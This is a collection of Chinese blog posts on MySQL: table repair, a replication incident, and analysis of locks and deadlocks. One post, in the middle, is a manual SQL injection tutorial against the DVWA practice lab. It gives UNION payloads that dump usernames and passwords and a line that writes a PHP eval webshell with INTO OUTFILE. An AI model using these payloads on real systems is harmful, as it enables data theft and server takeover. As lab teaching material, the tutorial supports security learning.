还有说法为是MYSQL数据库因为某种原因而受到了损坏,如:数据库服务器突发性的断电、在提在数据库表提供服务时对表的原文件进行某种操作都有可能导致
MYSQL数据库表被损坏而无法读取数据。总之就是因为某些不可测的问题造成表的损坏。

2、问题解决办法。

当你试图修复一个被破坏的表的问题时,有三种修复类型。如果你得到一个错误信息指出一个临时文件不能建立,删除信息所指出的文件并再试一次–这通常是上一次修复操作遗留下来的。
这三种修复方法如下所示:

% myisamchk --recover --quick /path/to/tblName
% myisamchk --recover /path/to/tblName
% myisamchk --safe-recover /path/to/tblName

第一种是最快的,用来修复最普通的问题;而最后一种是最慢的,用来修复一些其它方法所不能修复的问题。

检查和修复MySQL数据文件
如果上面的方法无法修复一个被损坏的表,在你放弃之前,你还可以试试下面这两个技巧:


果你怀疑表的索引文件(.MYI)发生了不可修复的错误,甚至是丢失了这个文件,你可以使用数据文件(.MYD)和数据格式文件(*.frm)重新生
成它。首先制作一个数据文件(tblName.MYD)的拷贝。重启你的MySQL服务并连接到这个服务上,使用下面的命令删除表的内容:

mysql> DELETE FROM tblName;


删除表的内容的同时,会建立一个新的索引文件。退出登录并重新关闭服务,然后用你刚才保存的数据文件(tblName.MYD)覆盖新的(空)数据文件。
最后,使用myisamchk执行标准的修复(上面的第二种方法),根据表的数据的内容和表的格式文件重新生成索引数据。

如果你的表的
格式文件(tblName.frm)丢失了或者是发生了不可修复的错误,但是你清楚如何使用相应的CREATE
TABLE语句来重新生成这张表,你可以重新生成一个新的.frm文件并和你的数据文件和索引文件(如果索引文件有问题,使用上面的方法重建一个新的)一
起使用。首先制作一个数据和索引文件的拷贝,然后删除原来的文件(删除数据目录下有关这个表的所有记录)。

启动MySQL服务并使用当初的CREATE TABLE文件建立一个新的表。新的.frm文件应该可以正常工作了,但是最好你还是执行一下标准的修复(上面的第二种方法)。

为了不冒失修复,故采取保守做法,我们知道 MySQL 一个高效的管理工具便是 PhpMyAdmin,而在该管理软件中就包含了对表的检查、分析、修复、优化功能,比起网上提供的含糊命令行来说更安全更简便。

未分类

通过实践,在使用检查表功能后确实发现了问题,之后使用修复功能进行了修复,反馈结果每个表都已经 ok,再执行一次优化,重新测试访问网站终于恢复了正常。一场灾难就此避免……

mysql手工注入总结

各位大佬。。。这篇文章是个人再练习注入的时候自己总结出来的一部分经验,步骤确实很简单,百度上面确实也能搜的到相关类似的,但关于文章中一些我个人的理解与总结部分肯定是搜不到的。菜鸟初来乍到,如果个人经验比较少或者说总结的不够深入,入不了各位大佬法眼,请各位大佬见谅。菜鸟还是需要不断学习进步,争取后续分享的文章能有更高的一个质量,能入的了各位大佬的眼。。。给各位大佬递茶。。。。

由于新人刚报道不久,大概浏览了一下论坛内的帖子,发现很多都是大佬们分型的工具,以及各种牛逼的渗透过程及思路记录。关于新人的一些简单入门点的资料好像不多(可能新人刚到,不太熟悉如何寻找资料,如果有误还请各位大佬不吝指教,请多多见谅,)。

这篇文章属于个人在学习sql注入时的一部分总结,后续的关于个人sql注入的总结文章也会陆续发出来。如果跟大佬的有重复或者有什么其他问题,请各位大佬及时指出{:6_430:} 。自评TCV=0…..

下面就是正文部分了。

基础知识

什么是SQL注入

A SQL injection attack consists of insertion or “injection” of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands.

引用OWASP上的定义,sql注入简单来说就是攻击者从客户端输入的恶意sql查询语句被服务器执行,从而攻击者可以读取/修改数据库中敏感信息、执行数据库管理员操作、甚至执行系统命令。

什么是Mysql

MySQL是一个关系型数据库管理系统,由瑞典MySQL AB 公司开发,目前属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件。
Mysql简单来说就是一个关系型的数据库管理系统,使用SQL语言来来存储数据,以及管理数据。

MySQL手工注入

SQL注入从注入的手法或者工具上分类的话可以分为:

  • 手工注入(手工来构造调试输入payload)
  • 工具注入(使用工具,如sqlmap)

下面主要讲解的是如何通过手工来显式注入MySQL数据库。说到显式注入,SQL又可以分为:

  • 显式注入
  • 盲注入

这两种分类的主要区别在于能否从页面上直接获取数据库信息。

手工注入流程

判断注入点

注入的第一步是得判断该处是否是一个注入点。或者说判断此处是否有SQL注入漏洞。最简单的判断方法就是在正常的参数后加单引号 ‘。

http://192.168.0.111/dvwa/vulnerabilities/sqli/?Submit=Submit&id=1'

未分类

如果页面显示了SQL的错误信息,进一步测试:

    1' or 1=1 --+

未分类

页面显示正常。再测试:

    1' and 1=2 --+

未分类

至此基本可以确定此处是一个SQL注入点,也就是说存在SQL注入漏洞。

判断查询的字段数

确定了注入点之后,就需要进行下一步的注入操作了。首先使用orderby子句来确定SQL语句查询的字段数量。orderby子句会根据sql查询结果的字段来排序,如果字段不存在则会报错。下面尝试输入order by 10 。

    1' ORDER BY 10 --+

未分类

发现页面报错,那么接下来尝试order by 9, 如果同样报错,则尝试order by 8,依次尝试下去,直到页面显示正常为止。

未分类

可以看到order by 2的时候页面显示正常,则说明查询语句只有2个字段。

确定回显位

确定了查询数据的位数,然后开始确定网页的回显位。回显位就是确定查询出来的数据是在网页上面的哪个位置显示出来。使用Union联合查询来确定回显位。

    1' and 1=2 union select 1, 2 --+

未分类

可以看到查询语句中的两个字段都在网页中显示了,分别在First name和 Surname位置上。

获取信息函数

下面就开始获取数据库信息了,常用的几个获取数据的函数分别是:

    user()      获取当前用户用户
    database()      获取当前数据库
    version()       获取数据库版本    @@version_compile_os        获取操作系统版本

注入下列SQL语句可以查询出数据库当前用户,和当前数据库名。

    1' and 1=2 union select user(), database() --+

未分类

注入下列SQL语句,可以查询出数据库版本和当前操作系统版本。

    1' and 1=2 union select version(), @@version_compile_os --+

未分类

可以看到注入上面两条语句之后,当前用户、数据库名、数据库版本、操作系统等信息都已经得到了。

获取数据库名

MySQL5新增了一个information_schema结构,这个information_schema数据库中存储着MySQL管理的所有数据库的信息,如数据库名,表名,列名以及权限等等信息。所以可以利用information_schema来快速获取数据库中的表结构信息。常用的information_schema中的表有:

    schemata        (schema_name字段记录所有数据库信息)
    tables      (table_name记录表名,table_schema字段记录表所属的数据库信息)
    columns     (column_name记录列名,table_name记录列所属的表名,schema_name记录列所属的数据库名)

所以可以使用schemata表来获取所有数据库名:

    1' and 1=2 union select 1, SCHEMA_NAME  from information_schema.schemata --+

未分类

这条SQL语句是能够将所有数据库名查询出来,如果页面显示足够多的话是可以直接全部获取的。但是有些情况下,页面可能只会有一条回显记录,那么可以使用limit子句来分批获取所有数据库名。或者直接使用group_concat来一次性获取数据库信息。

    1' and 1=2 union select 1, group_concat(SCHEMA_NAME) from information_schema.schemata --+

未分类

使用group_concat就能很方便的在一条记录中查询出来所有数据库信息。

获取表名

获取到了数据库信息之后,找到目标数据库,然后开始获取表名信息。可以读取tables表中的table_name来获取。

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name='dvwa'+--+

未分类

表名需要使用’单引号包起来,或者使用16进制来表示:

    1' and 1=2 union select 1, group_concat(TABLE_NAME) from information_schema.tables where schema_name=0x64767761+--+

获取列名

获取到了表名之后,下面来获取列名。同样通过information_schema的columns表获取。

    1' and 1=2 union select 1, COLUMN_NAME from information_schema.columns where table_name='users'+--+

未分类

表名同样可以使用十六进制表示。

获取数据

下面就开始获取表中的数据了,选择刚才获取的表中的user_id,user,password三列的数据。

    1' and 1=2 union select 1, group_concat(user_id,',user,',password) from users+--+

group_concat中间的’是用来分割数据显示的。

未分类

以上,就成功从数据库中获取了管理员账户信息。

写shell

上面获取管理员账号信息之后,就可以登录网页后台,从后台寻找上传点或者其他漏洞来往服务器上写入webshell。在知道服务器的物理地址的情况下,通过SQL语句来写入webshell通常是一种更快捷方便的方式。

    1' and 1=2 union select '<?php eval($_POST[shell]); ?>' INTO OUTFILE '/var/www/html/shell.php'+--+

执行成功之后,就能使用菜刀或者其他工具连接网页更目录下的shell.php文件了。

记一次MYSQL故障定位分析全过程

场景说明:

由于业务以及历史原因MySQL单实例有一万个数据库左右,历史原因使用的MySQL5.5版本,计划升级,为了不影响业务,开启了MySQL数据的主从同步(具体步骤不在这里详述),备份时间比较长,start slave 之后一直在追赶主库的数据、接到反馈APP端请求超时

排查原因的过程

查看当前同步的过程
查看当前MySQL同步情况
从库的同步情况

未分类

主库的binlog情况

未分类

查看当前主库的io情况

未分类

从库还在追赶主库的数据

dstat -l -m -r -c --top-io --top -mem --top-cpu

未分类

查看当MySQL的进程

show full processlit

阻塞进程比较多

查看MySQL当前的事物以及内存使用情况

show engine innodb statusG

锁比较多

未分类

查看MySQL的日志

未分类

问题所在,开启主从同步之后这个warning就一直刷屏

分析MySQL主库binlog模式应该为为statement

未分类

找到元凶

处理过程:

在从库上stop slave

set global binlog_format = ROW

在主库上执行

set global binlog_format = ROW

在从库上

start slave;

检测

错误日志消失、主从同步正常、业务也恢复了正常

谨记谨记 MySQL主从复制binlog_format 一定要ROW模式

分析MySQL并发下的问题及解决方法

1、背景

对于数据库系统来说在多用户并发条件下提高并发性的同时又要保证数据的一致性一直是数据库系统追求的目标,既要满足大量并发访问的需求又必须保证在此条件下数据的安全,为了满足这一目标大多数数据库通过锁和事务机制来实现,MySQL数据库也不例外。尽管如此我们仍然会在业务开发过程中遇到各种各样的疑难问题,本文将以案例的方式演示常见的并发问题并分析解决思路。

2、表锁导致的慢查询的问题

首先我们看一个简单案例,根据ID查询一条用户信息:

mysql> select * from user where id=6;

这个表的记录总数为3条,但却执行了13秒。

未分类

出现这种问题我们首先想到的是看看当前MySQL进程状态:

未分类

从进程上可以看出select语句是在等待一个表锁,那么这个表锁又是什么查询产生的呢?这个结果中并没有显示直接的关联关系,但我们可以推测多半是那条update语句产生的(因为进程中没有其他可疑的SQL),为了印证我们的猜测,先检查一下user表结构:

未分类

果然user表使用了MyISAM存储引擎,MyISAM在执行操作前会产生表锁,操作完成再自动解锁。如果操作是写操作,则表锁类型为写锁,如果操作是读操作则表锁类型为读锁。正如和你理解的一样写锁将阻塞其他操作(包括读和写),这使得所有操作变为串行;而读锁情况下读-读操作可以并行,但读-写操作仍然是串行。以下示例演示了显式指定了表锁(读锁),读-读并行,读-写串行的情况。

显式开启/关闭表锁,使用lock table user read/write; unlock tables;

session1:

未分类

session2:

未分类

可以看到会话1启用表锁(读锁)执行读操作,这时会话2可以并行执行读操作,但写操作被阻塞。接着看:

session1:

未分类

session2:

未分类

当session1执行解锁后,seesion2则立刻开始执行写操作,即读-写串行。

总结:

到此我们把问题的原因基本分析清楚,总结一下――MyISAM存储引擎执行操作时会产生表锁,将影响其他用户对该表的操作,如果表锁是写锁,则会导致其他用户操作串行,如果是读锁则其他用户的读操作可以并行。所以有时我们遇到某个简单的查询花了很长时间,看看是不是这种情况。

解决办法:

1)、尽量不用MyISAM存储引擎,在MySQL8.0版本中已经去掉了所有的MyISAM存储引擎的表,推荐使用InnoDB存储引擎。

2)、如果一定要用MyISAM存储引擎,减少写操作的时间;

3、线上修改表结构有哪些风险?

如果有一天业务系统需要增大一个字段长度,能否在线上直接修改呢?在回答这个问题前,我们先来看一个案例:

未分类

以上语句尝试修改user表的name字段长度,语句被阻塞。按照惯例,我们检查一下当前进程:

未分类

从进程可以看出alter语句在等待一个元数据锁,而这个元数据锁很可能是上面这条select语句引起的,事实正是如此。在执行DML(select、update、delete、insert)操作时,会对表增加一个元数据锁,这个元数据锁是为了保证在查询期间表结构不会被修改,因此上面的alter语句会被阻塞。那么如果执行顺序相反,先执行alter语句,再执行DML语句呢?DML语句会被阻塞吗?例如我正在线上环境修改表结构,线上的DML语句会被阻塞吗?答案是:不确定。

在MySQL5.6开始提供了online ddl功能,允许一些DDL语句和DML语句并发,在当前5.7版本对online ddl又有了增强,这使得大部分DDL操作可以在线进行。详见:https://dev.mysql.com/doc/refman/5.7/en/innodb-create-index-overview.html

所以对于特定场景执行DDL过程中,DML是否会被阻塞需要视场景而定。

总结:通过这个例子我们对元数据锁和online ddl有了一个基本的认识,如果我们在业务开发过程中有在线修改表结构的需求,可以参考以下方案:

1、尽量在业务量小的时间段进行;

2、查看官方文档,确认要做的表修改可以和DML并发,不会阻塞线上业务;

3、推荐使用percona公司的pt-online-schema-change工具,该工具被官方的online ddl更为强大,它的基本原理是:通过insert… select…语句进行一次全量拷贝,通过触发器记录表结构变更过程中产生的增量,从而达到表结构变更的目的。

例如要对A表进行变更,主要步骤为:

创建目的表结构的空表,A_new;
在A表上创建触发器,包括增、删、改触发器;
通过insert…select…limit N 语句分片拷贝数据到目的表
Copy完成后,将A_new表rename到A表。

4、一个死锁问题的分析

在线上环境下死锁的问题偶有发生,死锁是因为两个或多个事务相互等待对方释放锁,导致事务永远无法终止的情况。为了分析问题,我们下面将模拟一个简单死锁的情况,然后从中总结出一些分析思路。

演示环境:MySQL5.7.20 事务隔离级别:RR

表user:

CREATE TABLE `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`name` varchar(300) DEFAULT NULL,
`age` int(11) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=utf8

下面演示事务1、事务2工作的情况:

事务1

事务2

事务监控

T1

begin;

Query OK, 0 rows affected (0.00 sec)

begin;

Query OK, 0 rows affected (0.00 sec)

T2

select * from user where id=3 for update;

+----+------+------+
| id | name | age |
+----+------+------+
| 3 | sun | 20 |
+----+------+------+
1 row in set (0.00 sec)

select * from user where id=4 for update;

+----+------+------+
| id | name | age |
+----+------+------+
| 4 | zhou | 21 |
+----+------+------+
1 row in set (0.00 sec)

select * from information_schema.INNODB_TRX;

通过查询元数据库innodb事务表,监控到当前运行事务数为2,即事务1、事务2。

T3

update user set name='haha' where id=4;

因为id=4的记录已被事务2加上行锁,该语句将阻塞

监控到当前运行事务数为2。 T4 阻塞状态

update user set name='hehe' where id=3;

ERROR 1213 (40001): Deadlock found when trying to get lock; try restarting transaction

id=3的记录已被事务1加上行锁,而本事务持有id=4的记录行锁,此时InnoDB存储引擎检查出死锁,本事务被回滚。

事务2被回滚,事务1仍在运行中,监控当前运行事务数为1。 T5

Query OK, 1 row affected (20.91 sec)
Rows matched: 1 Changed: 1 Warnings: 0

由于事务2被回滚,原来阻塞的update语句被继续执行。

监控当前运行事务数为1。 T6

commit;

Query OK, 0 rows affected (0.00 sec)

事务1已提交、事务2已回滚,监控当前运行事务数为0。

这是一个简单的死锁场景,事务1、事务2彼此等待对方释放锁,InnoDB存储引擎检测到死锁发生,让事务2回滚,这使得事务1不再等待事务B的锁,从而能够继续执行。那么InnoDB存储引擎是如何检测到死锁的呢?为了弄明白这个问题,我们先检查此时InnoDB的状态:

show engine innodb statusG

------------------------
LATEST DETECTED DEADLOCK
------------------------
2018-01-14 12:17:13 0x70000f1cc000
*** (1) TRANSACTION:
TRANSACTION 5120, ACTIVE 17 sec starting index read
mysql tables in use 1, locked 1
LOCK WAIT 3 lock struct(s), heap size 1136, 2 row lock(s)
MySQL thread id 10, OS thread handle 123145556967424, query id 2764 localhost root updating
update user set name='haha' where id=4
*** (1) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 94 page no 3 n bits 80 index PRIMARY of table `test`.`user` trx id 5120 lock_mode X locks rec but not gap waiting
Record lock, heap no 5 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
0: len 4; hex 80000004; asc ;;
1: len 6; hex 0000000013fa; asc ;;
2: len 7; hex 520000060129a6; asc R ) ;;
3: len 4; hex 68616861; asc haha;;
4: len 4; hex 80000015; asc ;;
*** (2) TRANSACTION:
TRANSACTION 5121, ACTIVE 12 sec starting index read
mysql tables in use 1, locked 1
3 lock struct(s), heap size 1136, 2 row lock(s)
MySQL thread id 11, OS thread handle 123145555853312, query id 2765 localhost root updating
update user set name='hehe' where id=3
*** (2) HOLDS THE LOCK(S):
RECORD LOCKS space id 94 page no 3 n bits 80 index PRIMARY of table `test`.`user` trx id 5121 lock_mode X locks rec but not gap
Record lock, heap no 5 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
0: len 4; hex 80000004; asc ;;
1: len 6; hex 0000000013fa; asc ;;
2: len 7; hex 520000060129a6; asc R ) ;;
3: len 4; hex 68616861; asc haha;;
4: len 4; hex 80000015; asc ;;
*** (2) WAITING FOR THIS LOCK TO BE GRANTED:
RECORD LOCKS space id 94 page no 3 n bits 80 index PRIMARY of table `test`.`user` trx id 5121 lock_mode X locks rec but not gap waiting
Record lock, heap no 7 PHYSICAL RECORD: n_fields 5; compact format; info bits 0
0: len 4; hex 80000003; asc ;;
1: len 6; hex 0000000013fe; asc ;;
2: len 7; hex 5500000156012f; asc U V /;;
3: len 4; hex 68656865; asc hehe;;
4: len 4; hex 80000014; asc ;;

*** WE ROLL BACK TRANSACTION (2)

InnoDB状态有很多指标,这里我们截取死锁相关的信息,可以看出InnoDB可以输出最近出现的死锁信息,其实很多死锁监控工具也是基于此功能开发的。

在死锁信息中,显示了两个事务等待锁的相关信息(蓝色代表事务1、绿色代表事务2),重点关注:WAITING FOR THIS LOCK TO BE GRANTED和HOLDS THE LOCK(S)。

WAITING FOR THIS LOCK TO BE GRANTED表示当前事务正在等待的锁信息,从输出结果看出事务1正在等待heap no为5的行锁,事务2正在等待 heap no为7的行锁;

HOLDS THE LOCK(S):表示当前事务持有的锁信息,从输出结果看出事务2持有heap no为5行锁。

从输出结果看出,最后InnoDB回滚了事务2。

那么InnoDB是如何检查出死锁的呢?

我们想到最简单方法是假如一个事务正在等待一个锁,如果等待时间超过了设定的阈值,那么该事务操作失败,这就避免了多个事务彼此长等待的情况。参数innodb_lock_wait_timeout正是用来设置这个锁等待时间的。

如果按照这个方法,解决死锁是需要时间的(即等待超过innodb_lock_wait_timeout设定的阈值),这种方法稍显被动而且影响系统性能,InnoDB存储引擎提供一个更好的算法来解决死锁问题,wait-for graph算法。简单的说,当出现多个事务开始彼此等待时,启用wait-for graph算法,该算法判定为死锁后立即回滚其中一个事务,死锁被解除。该方法的好处是:检查更为主动,等待时间短。

下面是wait-for graph算法的基本原理:

为了便于理解,我们把死锁看做4辆车彼此阻塞的场景:

未分类

未分类

4辆车看做4个事务,彼此等待对方的锁,造成死锁。wait-for graph算法原理是把事务作为节点,事务之间的锁等待关系,用有向边表示,例如事务A等待事务B的锁,就从节点A画一条有向边到节点B,这样如果A、B、C、D构成的有向图,形成了环,则判断为死锁。这就是wait-for graph算法的基本原理。

总结:

1、如果我们业务开发中出现死锁如何检查出?刚才已经介绍了通过监控InnoDB状态可以得出,你可以做一个小工具把死锁的记录收集起来,便于事后查看。

2、如果出现死锁,业务系统应该如何应对?从上文我们可以看到当InnoDB检查出死锁后,对客户端报出一个Deadlock found when trying to get lock; try restarting transaction信息,并且回滚该事务,应用端需要针对该信息,做事务重启的工作,并保存现场日志事后做进一步分析,避免下次死锁的产生。

5、锁等待问题的分析

在业务开发中死锁的出现概率较小,但锁等待出现的概率较大,锁等待是因为一个事务长时间占用锁资源,而其他事务一直等待前个事务释放锁。

事务1

事务2

事务监控

T1

begin;

Query OK, 0 rows affected (0.00 sec)

begin;

Query OK, 0 rows affected (0.00 sec)

T2

select * from user where id=3 for update;

+----+------+------+
| id | name | age |
+----+------+------+
| 3 | sun | 20 |
+----+------+------+
1 row in set (0.00 sec)

其他查询操作

select * from information_schema.INNODB_TRX;

通过查询元数据库innodb事务表,监控到当前运行事务数为2,即事务1、事务2。

T3 其他查询操作

update user set name='hehe' where id=3;

因为id=3的记录被事务1加上行锁,所以该语句将阻塞(即锁等待)

监控到当前运行事务数为2。 T4 其他查询操作

ERROR 1205 (HY000): Lock wait timeout exceeded; try restarting transaction

锁等待时间超过阈值,操作失败。注意:此时事务2并没有回滚。

监控到当前运行事务数为2。 T5 commit; 事务1已提交,事务2未提交,监控到当前运行事务数为1。

从上述可知事务1长时间持有id=3的行锁,事务2产生锁等待,等待时间超过innodb_lock_wait_timeout后操作中断,但事务并没有回滚。如果我们业务开发中遇到锁等待,不仅会影响性能,还会给你的业务流程提出挑战,因为你的业务端需要对锁等待的情况做适应的逻辑处理,是重试操作还是回滚事务。

在MySQL元数据表中有对事务、锁等待的信息进行收集,例如information_schema数据库下的INNODB_LOCKS、INNODB_TRX、INNODB_LOCK_WAITS,你可以通过这些表观察你的业务系统锁等待的情况。你也可以用一下语句方便的查询事务和锁等待的关联关系:

SELECT r.trx_id waiting_trx_id, r.trx_mysql_thread_id waiting_thread, r.trx_query wating_query, b.trx_id blocking_trx_id, b.trx_mysql_thread_id blocking_thread, b.trx_query blocking_query FROM information_schema.innodb_lock_waits w INNER JOIN information_schema.innodb_trx b ON b.trx_id = w.blocking_trx_id INNER JOIN information_schema.innodb_trx r ON r.trx_id = w.requesting_trx_id;

结果:

waiting_trx_id: 5132
waiting_thread: 11
wating_query: update user set name='hehe' where id=3
blocking_trx_id: 5133
blocking_thread: 10
blocking_query: NULL

总结:

1、请对你的业务系统做锁等待的监控,这有助于你了解当前数据库锁情况,以及为你优化业务程序提供帮助;

2、业务系统中应该对锁等待超时的情况做合适的逻辑判断。

6、小结

本文通过几个简单的示例介绍了我们常用的几种MySQL并发问题,并尝试得出针对这些问题我们排查的思路。文中涉及事务、表锁、元数据锁、行锁,但引起并发问题的远远不止这些,例如还有事务隔离级别、GAP锁等。真实的并发问题可能多而复杂,但排查思路和方法却是可以复用,在本文中我们使用了show processlist;show engine innodb status;以及查询元数据表的方法来排查发现问题,如果问题涉及到了复制,还需要借助master/slave监控来协助。